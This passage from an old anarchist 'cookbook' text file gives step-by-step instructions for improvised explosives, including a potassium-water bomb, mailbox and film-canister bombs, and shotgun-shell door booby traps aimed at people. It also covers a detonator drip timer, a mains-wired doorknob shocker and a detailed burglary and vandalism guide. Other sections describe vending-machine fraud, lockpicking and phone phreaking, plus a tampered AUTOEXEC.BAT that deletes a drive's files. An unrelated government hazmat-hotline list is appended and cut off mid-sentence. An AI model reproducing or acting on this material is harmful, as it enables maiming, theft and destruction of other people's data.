container. You will need: +1.A two-ended bottle. These are kinda hard to find, you have to look around, but if you cant find one, you will need a similar container in which +there are two totally separate sides that are airtight and accessible at the ends, like this: +!airtight separator! +________________!_________________ +| | | +/ | \ +---- | ---- +| c | | |c | +| a | | | a | +|___p| | |__p_| +\ | / +| | | +-----------------|------------------ +the separator MUST remain airtight/watertight so this doesn't blow off your arm in the process (Believe me. It will if you are not exact.) +2.Pure potassium. Not Salt Peter, or any shit like that. This must be the pure element. This again may prove hard to find. Try a school chemistry +teacher. Tell her you need it for a project, or some shit like that. Try to get the biggest piece you can, because this works best if it a solid +chuck, not a powder. You can also try Edmund Scientific Co. at: +Dept. 11A6 +C929 Edscorp Bldg. +Barrington, NJ 08007 +or call 1-(609) -547-8880 +3.Cotton +4.Water +Instructions: +Take the cotton and stuff some into one end of the container lining one side of the separator. Place some potassium, about the size of a quarter +or bigger (CAREFULLY, and make sure your hands are PERFECTLY DRY, this stuff reacts VERY VIOLENTLY with water) into that side and +pack it in tightly with all the cotton you can fit. Now screw the cap on TIGHTLY. +On the other side of the separator, fill it with as much water as will fit, and screw that cap on TIGHTLY. You are now in possession of a +compact explosive made somewhat stable. To explode, throw it at something! The water will react with the potassium, and +BBBOOOOOOMMMM!!! Works great on windows or windshields, because the glass fragments go everywhere (stand back) and rip stuff apart. +The bigger the piece, the bigger the boom. If no potassium can be found, try looking for PURE Sodium, it works well too. +PS: You could also place this little sucker under the wheel of a car of someone you hate...(Wait till' they back over that one!!!) +168.Your Legal Rights by Exodus +Because you possess this little collection of mostly illegal concepts, you should be aware of your legal rights IF arrested (hey, it happens to the +worst of us). +Your Legal Rights are: +1.Have a hearing before a magistrate or judge, as soon as possible after you are arrested. +2.Be notified of the charges against you. +3.Have a reasonable bail set, if bail is granted. +4.Have a FAIR, IMPARTIAL trial by jury. +5.Be present at all stages of the trial. +6.Confront your accusers. (without the baseball bat) +7.Have your lawyer cross-examine the witnesses. +8.Have your lawyer call on witnesses on your behalf. +9.Be tried for a crime only once. +10.Receive neither cruel nor unusual punishment if you are convicted of a crime and sentenced. +NOTE!!!: These rights are for after you are arrested, and do not include the reading of the rights, etc. If these rights are violated in ANY way, +that may be cause for a mistrial, or even total release. +169.How The Law Protects Juvenile Offenders by Exodus +Juveniles accused of breaking the law are granted some special rights intended to protect the, because of their age. If a juvenile is charged +with a crime punishable by a term in a reform school or juvenile detention facility, he is assured the right to: +1.Remain silent, and not incriminate himself/herself. +2.Be placed in quarters separate from adult offenders while being held in custody. +3.Be notified before a hearing of the charges against him. +4.Be released to his parents or guardians after signing a written promise to appear at his trial (unless the child is likely to run away and not +come back to court unless he is dangerous or may himself be in danger if sent back home). +5.Be tried at proceedings that are closed to the public. +6.Have a record of the proceedings made, in case one is needed for a future appeal. +7.Be represented by a lawyer. +8.Have a lawyer appointed by the court if he cannot afford one. +9.Confront his accusers. +10.Have his lawyer cross-examine witnesses. +Again, these rights are for after you have been arrested. +170.Down the Road' Missile by Exodus +This missile is aptly named because it travels best down a street or road. This is nothing more that harmless phun intended to scare the living +shit out of oncoming cars. +How To Make A Missile +All you need are: + Hairspray can, or something else with flammable propellant (don't use spraypaint dipshit, it makes a big mess!) + book of ordinary matches + tape (clear if possible, its thinner) + BB or pellet gun (use BB's if possible) +Instructions: +Tape the book of matches to the bottom of the can, y'know, the CONCAVE part. You might want to arrange the matches so that they are +spread over a wide area of the bottom of the can, but close together. +Shake the can up vigorously. Now place the can on its side with the nozzle of the can pointed in the direction you want it to go, down a road, +off a ramp, at your sister, etc.. Now stand back a bit, and shoot at the matches. It should take off at about 30 ft per sec!! What happens in +case you couldn't tell, is the BB hits the matches and causes a spark, and at roughly the same time, punctures the weak bottom of the can. As +the propellant sprays out, it hopefully comes in contact with the spark, and presto. If you don't do it right you'll blow a lot of money because +each can only be used once, so experiment to find best results. +In The Air Missile: +Compile the rocket as stated before, and put it vertical on a stand of some sort with the bottom accessible. Place a section of PVC pipe 95� +preferred and shoot into the PVC pipe which should direct the BB upward, and the can should take off. Experiment w/ different cans, its hard +to find ones that work perfectly, and still go higher than 30 ft. +171.Phun With Shotgun Shells by Exodus +This phile is for those have no concern for themselves or the person they wanna fuck over with this. (in short, a fucking MANIAC!!!) +DoorBlams +Shotgun shells are wonderful. They can be used in almost any situation where pain or amputation of limbs is concerned (including your own if +you are not EXTREMELY careful. The best way to use shells, is the DoorBlam. The DoorBlam is a simple concoction of a shell taped to the back +of a door with the ignition button facing away from the door (so it blows out against the door). Now position it somewhere where it will do the +damage you want. i.e.- near the top for decapitation, middle for slow death, or low to make the victims kneecaps fly across the room. Now +tape a thumbtack against a wall or something that that part of the door bumps up against. Tape it to the wall so that the point pokes through the +tape, and position it so it will hit the ignite button upon impact... Its that simple. Instant pain! +Long Range Explosives +These are THE most difficult explosive I have ever tried to make (people I know have lost fingers and hands to this little fucker) IF you have a +VVVVERY still hand, it might be accomplished. Ignite buttons usually take some force to make it blow, so CAREFULLY & LIGHTLY push a tack +through tape and tape it to the back of the shell, with the tip of the tack LIGHTLY touching the button. Add more tape to the back to hold the pin +in place. If you still have hands at this point, consider yourself lucky. Now you need to add a weight to the tack-end part to make sure it hits the +ground first. Taping small rocks or making the shell by putting heavy loads towards the button helps. Placing a cracker (yes a cracker (Saltines, +anyone ?)) between the tack-point and the button helps prevent detonation upon THROWING, which DOES happen. Now toss it up high and +AWAY from you, and RUN LIKE SHIT does after you eat Mexican. +172.Electronic Accessories by Exodus +Some phreaks believe in the down-n-dirty customizing of equipment by crafting it themselves...not me! I believe that the other guy should build +the stuff, and I'll steal it and use it later. This is a list of places where one can obtain the devices that would other wise have to be built by +hand. But after all, a good phreak can take a pre-made item and adapt it to his needs..... +Radar Jammers: +The "Eclipse" $199.00 +T.E.K. Distributors +PO Box 32287 +Fridley, MN 55432 (612)-783-1666 +Surveillance: +fone bugging, fone recording sys., etc... +EDE catalog $5 +PO Box 337 +Buffalo, NY 14226 (716)-691-3476 +USI Corp., catalog: $2 +PO Box PM-2052 +Melbourne, FL 32902 (407)-725-1000 +Protector catalog $5 +PO Box 520294-M +Salt Lake City, UT 84152 (801)-487-3823 +FREE catalog: 1-800-732-5000 +SpyMart catalog $4 +PO Box 340-M +Morehead City, NC 28557 +MICRO-VIDEO: +SUPERCIRCUITS catalog $3 +13552 Research Blvd. #B-2 +Austin, TX 78750 +Scanners: +CRB FREE catalog +PO Box 56 +Commack, NY 11725 +HPR +PO Box 19224PM +Denver, CO 80219 +(request information, I guess!?) +MISC: +INFORMATION UNLIMITED <<<---REALLY COOL SHIT, THE GOOD STUFF. +PO Box 716, Dept. PM294 (kinda expensive, so get ready to +Amherst, NH 03031 CARD!!) +FREE catalog (w/order, otherwise $1.00) +EDMUND SCIENTIFIC (always a fucking GREAT place to find the little +Dept. 14D2, nitty-gritty electronics that make up +C908 EdsCorp Bldg. colored boxes, and the like) +Barrington, NJ 08007 +173.Drip Timer by Exodus +Another method of time delay for explosives that are detonated by electric means, is the drip timer. Fill a 'baggy' with water and then add as +much salt as the water will hold. Seal it, leaving some air inside. Then, tape the two contact wires from which the circuit has been broken, to +the inside of a large cup. Place the baggy on the cup. Poke a hole in the top of the 'baggy', where there is air, and then make a hole in the +bottom to let the water drain into the cup. As any Einstein figures, the salt water level in the cup will eventually conduct electricity at the +moment both wires touch water, thus completing the circuit. I have yet to try this timer out, and I got the plans from a total idiot, phreaker +nonetheless, and doubt it would work with any power source under 12v. +174.Stealing by Exodus +It is strange just how many files there are out there that try to document the art of stealing. After all, it IS an art. You have to be calm, smooth, +persistent, patient. Stealing is not an overnight-planned operation. You should try to prepare for at least a week or more when planning to steal +from a house, and even LONGER when from a business. Story time, kiddies: +A long time ago, well, in the past year, my friends and I noticed that the building complex in our town was the perfect place to obtain unpaid-for +items. We learned all we could about the complex, which was about 365,000 sqft, and each company consisted of an office (fully furnished +with cool computer stuff), and a 10,000 sqft (roughly) warehouse, all interconnected, and all one level. This information was obtained through +several calls to the town committee (board of development, or some shit like that, the place that you call for building permits, and the like.), and +we obtained the blueprints for the whole complex. We planned a route from the side entrance through the warehouse, and into the offices, +where all the good stuff is usually located. Now that we had our route, all we needed was a plan to get inside. Since this was our first major +job, we spent a few good weeks on preparation. During the snow weather, we worked w/ a company to shovel the sidewalks of the +complex. One night, at about 11 PM, we stopped shoveling in front of our planned job site, Campbell's Soup, Co. There was nobody there +except the janitors that cleaned up the place (or so we thought). I asked the janitor if I could use the bathroom (I did have to go too) and he let +me in. I must have surprised him when I knew exactly where the bathroom was! As I walked to it, I scanned for video cams, infrared +guns/receivers (little boxes at entrances with a black glass square about 1" sq. at about knee height on each side). Nothing. The doors all had +security magnetic detection at the tops, and also the windows. To think someone would break in through an obvious place like a large window, +stupid. To my surprise, there were a few losers working late, and didn't really care that I was there at all. Take another Viverin' guys, I won't +be here long. The smell of black coffee was stifling. The bathroom was located back by the office's entrance to the warehouse, and to my +surprise, it was unlocked! The lights were on, and the place was totally empty, except for a few cardboard remains, and shelves, and that +blessed side door. I walked over to the door to examine it. No security, no video cams in the warehouse, no nothing. Odd, usually these +warehouses were kept tight as a hookers pussy. But it looked like they were packing up to move somewhere. Boxes on the office desks, etc.. +The door was locked with a key deadbolt (pain to pick) and a regular door-knob key lock. No problem. I needed to stop that deadbolt from being +locked, so I looked around for something to use....aha! There was some strange material like alum. foil on the ground, pliable, yet of a black +color. I took out a small allen key (a thief never goes ANYWHERE without a small lockpicking tool) and crammed enough of the stuff into the +keyhole so that a key could not be inserted far enough to turn, and the stuff was in to far to be pulled out. Viola! Back to the point of this story. +When the time came to make our move, something strange happened. The place was abandoned for 3 days straight, most office equipment +removed, and the front door left ajar, for all 3 days. We still decided to enter via our planned route. At 1:30 AM we went to the side door, and +what a surprise, the deadbolt lock was open. Now to the knob lock. It was still locked, but not a problem. Knob locks usually look like this: +|-wall socket> +-------------------------- +| ) +d -------------------------------| +o | | +o | ) +r | ) +| ) +------------------------- +| +|-wall socket> +The top sliding piece is about �" wide on popular locks, with the bar facing you, if the door swings outward. With the smallest allen key you +can get, stick it in and repetitively push and slide it back towards the knob, but don't let go, because it is spring loaded and will snap back into +place again. Now for the larger bar. Take another key and wedge it into the slot where the bar enters the +other wall (without the knob on it)! and do the same thing. This will be considerably harder to do than with the small tongue, but if you practiced +like you should have, it will open with minimum effort. Now we were inside. We ran through the warehouse though the warehouse/office door +(these are rarely locked, but try to prepare for it ahead of time by "cramming the lock" like I did) and into the office. The place was empty, no +shelves, just desks, chairs, and boxes. The boxes contained modems, motherboards, bus cards, printers, cables, fone cable, and one +contained a Zenith laptop computer! No shit, this is a true story! We took everything we could carry (5 people). We took all the above +mentioned, as well as printer toner, fones, fone jacks, documents, desk chairs, insulated boxes and bags (static-free kind), even the little shit +things, like outlet plates, light bulbs, ANYTHING!!! We went really crazy, and were out in 2 min 30 sec.(always set a time limit) +We wound up throwing half the shit away, but it felt great just to take anything that was not ours!! I have since then done other "jobs" with +much more precision, and effort, as well as better rewards. Here are some tips that should be followed when attempting to steal: + WEAR GLOVES!!!!!!!!!! + Backpacks for everyone to put the loot in. + Always cas e the joint for at least a week and keep documented records of who leaves when, what time it closes, timed lights, etc... + Have at least 4 phriends with you, and ,please, make sure they know what they are doing, no idiots allowed! + Bring tools :small allen keys, both types of screwdrivers, standard size, and tiny, hacksaw blade, wire cutters and strippers, spraypaintto +leave your handle on the wall, hammer, mace, gun-if available, flashlights (duh), wire-good for re-routing door security, and bolt +cutters. + Designate a person to carry all the tools ONLY-don't have him pickup stuff and mix it with the tools, this will only slow you down later if +you need to look fir a tool quickly. + Designate a person to STAY PUT by the door and keep watch. + Designate a timer, one who has a lighted stopwatch. + Make runs NO LONGER THAT 3 MIN. EVEN THIS TIME IS EXTREMELY HIGH-TRY TO KEEP AS LOW AS POSSIBLE. + Getaway vehicle (preferably NOT a van or pickup truck, these will be very suspicious to the pigs..er.I mean cops. And don't speed, or +anything, this just attracts attention. Cover license plates till just before you get your asses going, so no one can report the plates to the +pigs..oops!, damn, did it again, cops. Make sure you remove covering before leaving. + Always keep flashlights pointed DOWN unless necessary, crawl under windows, no shouting, even if you find some phucking cool shit, +on second thought, maybe painting your handle is a little stupid, so forget that, wear dark clothes OVER regular, non-suspicious clothes +(get changed first thing in the car) + Never brag about your findings in public, only on modem, or on BBS, and never give names of places, phriends, and exact names of +things taken, (just say you 'borrowed' a 486DX 33 motherboard, don't say is a Intel 486DX 33 MHz for an IBM PS/1 model 50, serial +#XXXXXXXXXXXX. that is just plain dumb) + Have phun!! and never steal from your neighborhood. + If you break into houses, never move stuff around; the longer it takes the yuppie family to realize that you were there, the better. + WEAR GLOVES!!!!!!!!!!!!! + To get in windows: shoot window with BB gun, and place clear, sticky hard-cover book covering on the window over the hole, hopefully +the impact of the shot was enough to crack the glass, and LEAN OR PUSH on the covered glass, do not hit or kick, and you will see that +the majority of the glass will stick to the covering, and will make considerably less noise. + Enter through basement windows preferably under a deck or steps. + MAKE SURE THE PEOPLE WILL BE GONE FOR THE NIGHT AND THE NEIGHBORS ARE ASLEEP (GO FOR AROUND 2:30 AM) + Take stuff that will sell easily to friends, and don't waste time taking things that look neat, just take the basics: electronic, computer, TV, +VCR, some jewelry-things you could easily hock, preferably without inscriptions, raid the fridge, take good quality fones, stereo equip., +speakers, etc.. + Always case the outside of the house looking for security stickers that yuppie families like to place in full view. + Do mischievous shit like cut all fone lines in house, cut up couch cushions, and flip them over so they look perfectly normal!; shoot a hole +in their fish tank, (all yuppies own fish); slash clothes, then put them back into the drawer; unplug fridge; set thermostat way up to 99.9�; +leave drain plugged and let the faucet run just a little, (for 6 hours!!); whatever you can't take or carry out, destroy in a subtle way, -if you +can't carry out those 130 lb. wood case stereo speakers, slash the cones; break ball-point pens open and rub them into the carpet with +their shoes; run a magnet over audio and VCR cassettes and floppies, and anything else subtle that would brighten their day. +175.MISCELLANEOUS INFORMATION by Exodus +Easy explosive: + Fill Kodak film case (y'know, the black cylinder with the gray cap) with explosive of your choice. Drill hole in gray lid, insert fuse, and tape +it back together very tightly. Light. +-or- + Poke a hole it the gray cap facing outwards, and insert an M-80 with fuse going through the hole and reseal, taping it tightly ALL AROUND +the case. Place in plastic mailbox, light, close door, and get the hell away! Because of the tight airspace, the destructive power of the +explosion is increased 5X. Works under water too, with a drop of wax, or preferably rubber cement around where the cap and wick +meet. +-and- + Fill a GLASS coke/pepsi bottle with 1 part gas, 1 part sugar, & 1 part water. Wedge an M-80 into the top about halfway. Shake the +container, place in mailbox (hopefully with mail {hehe!}) light, and get the fuck away. This thing sends glass shrapnel EVERYWHERE, +including through their mail. +Doorknob Shocker: + Run a wire from one slot in wall outlet to the bracket in the wall that the knob's tongue inserts into. Run another wire from the other slot to +an inconspicuous spot on the DOORKNOB. How does that one *grab* you? +Phone Loops: (remember, tone + silence = connection) +NUMBER | Tone/Silence (T/S) End | STATUS (on connection) +--------------------------------------------------------------------- +?-???-???-???? S no match +1-619-748-0002 T definite tone +x-xxx-749-xxxx T definite tone +?-???-???-???? S no match +1-619-739-0002 T definite tone +x-xxx-xxx-xxx1 S not sure of match +x-xxx-738-0002 T definite +x-xxx-xxx-0020 S definite +x-xxx-7xx-0002 T definite +?-???-???-???? S no match +Actually, any 1-619-7x9-000x gives tone detect, finding the other silent connection is a wee bit harder. +If anyone manages to complete some of these, or any loops, please let me know. +The only bad thing about loop lines, is that eventually the Gestapo finds out about the over-use of the line, and assigns the number to anyone +who wants a new number for their fone. Then when phreaks begin to use the line again, thinking it is a loop, they get a pissed off yuppie who +then has the call traced, and that's like putting your balls right in a door and slamming it. The operator will complain in your face, and say some +bullshit like she has your number and will report any disturbances to the fone co. if she sees it again. +Simple Virus/Easy Way To Return A Copied Program (hehe!) +When you buy a game, or something from a computer store, copy it, and want to return it (I know all of you do this), sometimes all the store +does is re-cellophane it and it goes back on the shelves without being re-tested. If the original floppies have an AUTOEXEC.BAT file on them to +initiate the copying/decompression at boot-up, simply edit it to say: +cd\ +del c:*.* +y +That'll make someone's day real funny, especially if the store tries to test it. Or, in most cases the store will not accept returned merchandise if +it is not defective, so DEFECT IT. This is done by using a program that shows the date and time the originals were last modified (check for this +BEFORE installing the program!!!!!!) such as DosShell, or XTGold. Then set the date and time on your computer to match the originals date and +time (approx). Install the program, and/or copy the originals and manuals. Now fuck around with the decompression file (usually PKUNZIP), the +installation file, and any others you see. Now the store has no reason, and MUST accept the product as a return, or sometimes they will give +you a return check for the $$, and send the program back to the manufacturer, which is good, because it will then be recopied, resealed, and +put back on the shelves somewhere for another phreaker to HACK!! +(If the above date/time matching is too much of a pain for the really retarded out there, set your computer date/time to any past ones close to +the originals, and fuck with ALL the files, thus making them all match.) +Battery Bombs: +Batteries like Duracell, Eveready, Energizer, etc... are specially made for home use and will not under any condition, explode when simply +connected to each other. Therefore, generic batteries are required. These batteries can be obtained in hick country, or from a shitty +wholesaler. I've heard of phriends putting 9Vs in the fucking microwave for a minute or so, and this is supposed to disable the "exploder +protector", but anyone who puts batteries in a microwave, should have the batteries explode on them. I never found out if 2 9v batts +connected really do explode. I hope so. +Any Blue Boxers?? +Not many people use blue boxes these days. They've become an eminent danger to phreakers. Ma Bell has new equipment to detect the use of +tone-emitting boxes, and about the only safe place to box calls from is the handy -dandy pay phone at the end of the block. The only way to +box calls today is to switch off to another switching system with another number: i.e.- +Call a store like Toys-'R'-Us, (1-908-322-6065 Livingston, NJ) and ask for the technical (video game) department. This switches the number +from the above to the extension of the department, usually and extension, but it can be a totally different # you are sent to while you are on +hold. This is VERY good. Bullshit the employee at the tech dept., and wait for HIM to hang up first. That disconnects you from his department, +but not from the interconnections of the store. (It might even be possible to dial a number and get another department at this point). This is like +'stacking' trunks. Their dialtone (inside the store) may have a slightly higher/lower pitch than a dialtone at your house. This is what you want. +Now, blow 2600 across the line, and you should have access to a trunk, and Bell Labs think that the store did it, and it is not usually questioned +because the computer might think that it is part of their paging system. (not 100% sure, test around) +When someone (preferably who you don't give a shit about) calls, dial *69 to ring him back(If your area subscribes to this feature). What +should happen is that the *69 tone asks the Bell computer to call back the person. The COMPUTER does the calling at this point. Now when +your friend picks up, bullshit him into hanging up first. Now the computer is getting the dialtone first, then it passes it on to you. If you blow 2600 +at this point, the computer may think it is its own equipment doing the calling. I'm REALLY not sure about this one. Hopefully this one works, but I +can't test it because some fucked up, shit full, douche nozzle, pig fucker broke my MF box. MF boxes are not that hard to come by. +Many hobby shops, music instrument stores, or electronic stores may sell the MF box itself, or one that detects tones, which can be used in +the reverse way. +Good Technical Phone Numbers: +Sometimes the hardest part of getting technical support is finding a place to look. An easy place is MIT (HOME OF THE ORIGINAL PHREAKS) +Find the number for the Electronic engineering campus, call and say you would like the number for (give room # make one up if you have to), or +call the person in charge of dorm assignments (buy a college book if you need to). Eventually, if done right, you will have a list of possible #s, +and set your modem on scan, and look for carrier detect. One of these nerds...ahm! I mean Geniuses must have a computer with a modem, and +these guys will answer about 100% of your technical problems. +Practical Jokes: +If you are into practical jokes like I am, than here is a book for you: +"The Second Official Handbook of Practical Jokes" +by: Peter Van Der Linden +There are hundreds of good practical jokes and phone scams, as well as a section of computer jokes, with a whole program of re-writing the +COMMAND.COM file to be funnier than ever. +176.Shaving Cream Bomb by Exodus +This may not really be what we would consider a bomb, but it is a helluva great idea to phuck someone over. You will need: + (1) Person you hate who has a car. + (1)-Container of liquid nitrogen (try a science shop, or Edmund Scientific, mentione d in several places in this Cookbook) + (6-10)-Cans of generic shaving cream. + (1)-Free afternoon (preferably in FREEZING temperatures outside) + (1-or more)-Pairs of pliers, for cutting and peeling. + Some phriends. +Directions: +Find someone who owns a small compact car, and manage to find out where he keeps it at night (or while he is away!) Be able to open the car +repeatedly.. Place a can in the liquid nitrogen for about 30 sec. Take it out and carefully and QUICKLY peel off the metal outside container, and +you should have a frozen "block" of shaving cream. (It helps to have more than one container, and more phriends) Toss it into the car and do +the same with all the cans. A dozen or more "blocks" like this can fill and lightly PRESSURIZE a small car. When he opens the door (hopefully he +doesn't realize the mess inside due to the foggy windows), he will be covered with pounds of shaving cream that is a bitch to get out of +upholstery. +PS!- Try to get one is his glove compartment!!!!! +177.Another good way to rip off a change or drink machine by ?�d �l�sh +You first get a nice new dollar to work with. Make sure there are no rips in it. Now, you get a thin piece of transparent plastic about 3/4 the +width of the actual dollar. It must be a good 6" or longer. Next, you need some transparent tape. Scotch magic tape will work the best. You +simply tape the plastic strip to the dollar. But, you must be careful not to tape it more than �" up the side of the dollar. Tape it on both sides +(front and back, not top and bottom) of the dollar. Now, all you have to do is use it: +Walk casually up to the secluded machine. Take out your dollar, and put it into the machine. BE CAREFUL! Some of the more modern change +machines have alarms! Most likely, though, drink or candy machines will not. Now, the machine starts taking your dollar.... You wait until your +plastic strip is almost all the way into the machine, and then you pull with sufficient force to get the dollar out of the machine, but not rip it. If you +did it correctly, you should have gotten whatever you bought, and still have your dollar for later use. On candy machines, though, make your +selection, and then wait and pull the dollar out. Don't worry if you don't get it on the first few tries. It took me about 5 tries to master it. It DOES, I +repeat DOES work for a fact if done correctly. If you just can't get it, though, either the machine is too sophisticated, or you put the tape up too +high on the dollar. Have fun!!!! +178.Lockpicking for the EXTREME beginner... by ?�d �l�sh +This is really a good method for opening doors that are locked. The only problem with this, though, is that it only works for outward opening +doors. OK, here we go.... +1.Realize you are not working with the actual lock, but that thing that sticks between the door and the wall. +2.See how that thing is curved on one side? Well, that is what we will be making use of. +3.Acquire a large paper-clip. If it is too short, it won't work. You have to also have a shoelace. Now, onto the construction... +4.Straighten the paper-clip. +5.Loop one end of the paper clip around the shoelace. The shoelace should be about 4/5 on one side of the clip and 1/5 on the other. Let's see +if I can draw it. +------------------************************************* +-* +******* +--- is the paper clip +*** is the shoelace +That's not very good, but I hope you get the picture. +6.All you have to do now is curve the paper clip (no, I won't draw it) +7.With the curved paper-clip, stick it between the door and the wall, behind the metal thing that sticks between. +8.Feed it through with you hand, until you can grip both sides of the shoelace. +9.Now, simply pull the lace and the door at the same time, and VIOLA! the door is open. +I prefer this over regular lock-picking if the door opens outward, because it is a lot quicker. Lock picking can take 5 minutes... When done +correctly this only takes 30 seconds! So, if you can, use this. +179.ANARCHY 'N' EXPLOSIVES - PRELUDE VOLUME by Exodus +For you people that like blowing things up and shit like that, here's something that's not as dangerous or as difficult as more of the explosives +available (or able to create)... It's called the LN Bomb (Short for Liquid Nitrogen Bomb). Very easy to make: +Ingredients: + 1 Plastic Two Liter Bottle + Enough Liquid Nitrogen To Fill The Bottle +Instructions: +Fill the bottle with liquid nitrogen. Then cap as tightly as possible. The vaporization of the nitrogen will create enough pressure in the bottle +(within 5-15 minutes) to break it with a quite strong explosive force... Very Easy... +USE AT YOUR OWN RISK.... +800 #'s to phuck with Compiled by The Duelist +CALL JYER INC. xxx-xxx-xxxx +Numbers with a ? either call forward to take you on some trip through switches, but I'm sure if you fuck around with it enough you will get +there tone somewhere. +Have fun....... Later! +800- +4261244 ? +6456561 VMS +2471753 ? +5244040 ? +6348026 ? +6677827 ? +8723425 ? (Extension dialer) +9928911 ? Modem +6242367 VMS (#) +4262468 ? +3389549 VMS +2220400 ? +5376001 ? +3439255 VMS (#) +8326979 ? +2339558 VMS +7299000 ? +5335545 ? +3332222 ? +3335555 VMS +3338888 ? +=========== TOLL-FREE NUMBERS AND ON-LINE DATABASES ========== +There are many toll-free assistance numbers and on-line databases available to federal, state, local, and private sector personnel. Some may +be available through a federal or state agency, while others are publicly available on commercial systems or through private organizations. +Except for their own, neither DOT nor FEMA endorses the following toll-free telephone numbers or on-line databases. +1.Federal and State Toll Free Technical Assistance Sources +2.Private Sector Toll Free Technical Assistance +3.Federal and State Agency Online Databases +4.Commercial and Private Online Databases +FEDERAL AND STATE TOLL FREE TECHNICAL ASSISTANCE SOURCES +US Coast Guard - National Response Center: 1-800-424-8802 +in Washington, DC - (202)426-2675 +(202)267-2675 +EPA REGIONAL HOTLINES +EPA has now established a Hotline in each of it's regional offices to handle Title III reporting. Please make note of the number for the office in +your area. +Nation-wide - (800) 535-0202 +In Alaska and DC - (202) 479-2449 +In the Regional Offices: +Region I - Boston, MA - (617) 565-3273 +Region II - Edison, NJ - (201) 321-6765 +Region III - Philadelphia, PA - (215) 597-1260 +Region IV - Atlanta, GA - (404) 347-3222 +Region V - Chicago, IL - (312) 886-6418 +Region VI - Dallas, TX - (214) 655-7244 +Region VII - Kansas City, KS - (913) 236-2806 +Region VIII - Denver, CO - (303) 293-1730 +Region IX - San Francisco, CA - (415) 974-7054 +Region X - Seattle, WA - (206) 442-1270 +Remember to report all hazardous materials releases to your Local Emergency Planning Committee representative and to your State Emergency +Response Commission immediately! +TOXIC RELEASE INVENTORY REPORTING CENTER +EPA has established a reading room in the Toxic Inventory Reporting Center (TRC) located at 470 L'Enfant Plaza East, SW, Suite 7103, +Washington, DC 20024. The reading room provides a place for concerned citizens to review release data as supplied to the Environmental +Protection Agency (through section 313 reporting). To date, the center has received more than 50,000 of the 300,000 release reports +anticipated. +The TRC's is intended to serve as a central receipt point, aid in the sorting recording and storage of release data reported under Title III. +Additionally the TRC is to provide an easy method to facilitate public inquiries. Anyone can access the chemical information by logging onto a +data base and calling the information up by using CAS number, state, city and/or facility name. +Staff from Computer Based Systems, Inc. (EPA contractor) are on-hand to assist with system inquiries between 8:00 am and 4:00 PM, Monday +through Friday. To schedule an appointment, please call (202)488-1501. +CHEMICAL EMERGENCY PREPAREDNESS PROGRAM (CEPP) - 1-(800) 535-0202 +(202) 479-2449 +Contact: Chemical Emergency Preparedness Program (CEPP) +Office of Solid Waste and Emergency Preparedness +US Environmental Protection Agency (WH-548A) +401 M Street, SW +Washington, DC 20460 +EMERGENCY MANAGEMENT INFORMATION CENTER (EMIC) - 1-800-638-1821 +(301) 447-6771 ext 6032 +Contact: EMIC Librarian, Learning Resource Center +National Emergency Training Center +16825 South Seton Avenue +Emmitsburg, Maryland 21727 +FEMA established EMIC (Emergency Management Information Center) to assist faculty, staff, students and off-campus users of the National +Emergency Training Center Learning Resource Center with their research and information needs. EMIC is a special collection of natural and +technological case study documents that can be requested for loan to state level fire and emergency management officials by applying in +writing, on official letterhead, to the EMIC librarian. Other requests will be referred back to appropriate states for handling. +SUPERFUND AND RESOURCE CONSERVATION AND RECOVERY ACT - 1-800-424-9346 +(202) 382-3000 +Contact: For Superfund -- Office of Emergency and Remedial Response +US Environmental Protection Agency +401 M Street, SW +Washington, DC 20460 +For CERCLA -- Office of Waste Programs Enforcement +US Environmental Protection Agency +401 M Street, SW +Washington, DC 20460 +EPA established the toll free technical assistance hotline in 1980 to answer questions and provide documents to those needing information on +the Superfund and Resource Conservation and Recovery Act. +TOXIC SUBSTANCES CONTROL ACT (TSCA) - (202) 554-1404 +Contact: Toxic Substances Control Act Assistance Office +Office of Toxic Substances +US Environmental Protection Agency +PRIVATE SECTOR TOLL FREE TECHNICAL ASSISTANCE SUPPORT +CHEMTREC: 1-(800) 424-9300. Alaska, Hawaii and DC (202) 483-7616 +Contact: Chemical Manufacturers Association +2501 M Street, NW +Washington, DC 20037. +The Chemical Manufacturers Association set up the Chemical Transportation Emergency Center (CHEMTREC) to provide immediate assistance +to those at the scene of accident, 24 hours a day, seven days a week. CHEMTREC maintains an online database on the chemical, physical, and +toxicological properties and health effects of the thousands of products of the member companies. CHEMTREC operates in two stages: first, +staff provide chemical information for use in onsite decision making involving handling the early stages of the problem and, second, notifies the +manufacturer of the product of the accident for more detailed information and appropriate follow-up. +CHEMNET is activated by a call to CHEMTREC. If a member shipper cannot respond promptly to an incident and a chemical expert is required at +a site, then the shipper can authorize a CHEMNET-contracted emergency response company to go in its place. +CHLOREP: Emergency contact through CHEMTREC above. +Contact: Chlorine Institute +342 Madison Avenue +New York, NY 10017. +The Chlorine Institute in 1972 established its Chlorine Emergency Plan (CHLOREP), a mutual-aid response network of chlorine manufacturers +and packagers, to provide assistance at chlorine emergencies in the United States and Canada through telephone instructions to on-scene +personnel or the dispatching of trained teams to sites. Response is activated by a call to CHEMTREC which in turn calls the designated +CHLOREP contact, who notifies the appropriate team leader based upon CHLOREP's geographical sector team assignments. +CAER: Community Awareness and Emergency Response information line. This is a 2 minute recorded message informing callers of upcoming +events related to coordinated emergency response planning. The CAER information number is (202) 463-1599 and is updated twice a month. +To submit an event to be publicized, send the materials to: +Todd Miller +CMA Communications Dept. +2501 M Street, NW +Washington, DC 20037 +The Center for Fire Research in the National Bureau of Standards has established a public access computer bulletin board. +Contact: Doug Walton +System Operator +U(301) 975-6872 +Information on the bulletin board includes: + A listing of the most recent reports from the Center for Fire Research; + Information on upcoming activities at the Center for Fire Research such as conferences, seminars and workshops; and + Information on FIREDOC, the Center's fire research bibliographic system. +FEDERAL AND STATE AGENCY ONLINE DATABASES +The Office of Solid Waste and Emergency Response (OSWER) bulletin board is intended to store communications and technology transfer +among the Regions and with Headquarters staff involved in solid or hazardous waste regulation, permitting, or enforcement and with ORD +scientists and engineers in Headquarters and laboratories who are supporting OSWER. The OWSER is operated under contract to the Office of +Program Management Technology (OPMT). The OSWER BBS offers messages, bulletins, files and computer programs, databases, and +conf erences. Bulletins include OSWER technical training opportunities and ORD technology transfer seminars nationwide, new ORD technical +publications, the top 25 compounds found at Superfund Sites, and the current status of the SITE technology demonstrations. Conferences +include: Executive (for EPA managers only), Ground-Water Workstation, Ground-Water Monitoring and Remediation, Risk +Management/Assessment, and Expert Systems/Geographic Information Systems. The BBS is primarily intended for EPA Regional, +Headquarters, and ORD personnel, however, OSWER welcomes state and local government agencies and authorized EPA contractors. The +BBS telephone number is (301) 589-8366, the voice line is (301) 589-8368. +The Hazardous Materials Information Systems (HMIS) offers two menu-driven programs to assist state, local and Federal agencies. The US +Department of Transportation (DOT), Research and Special Programs 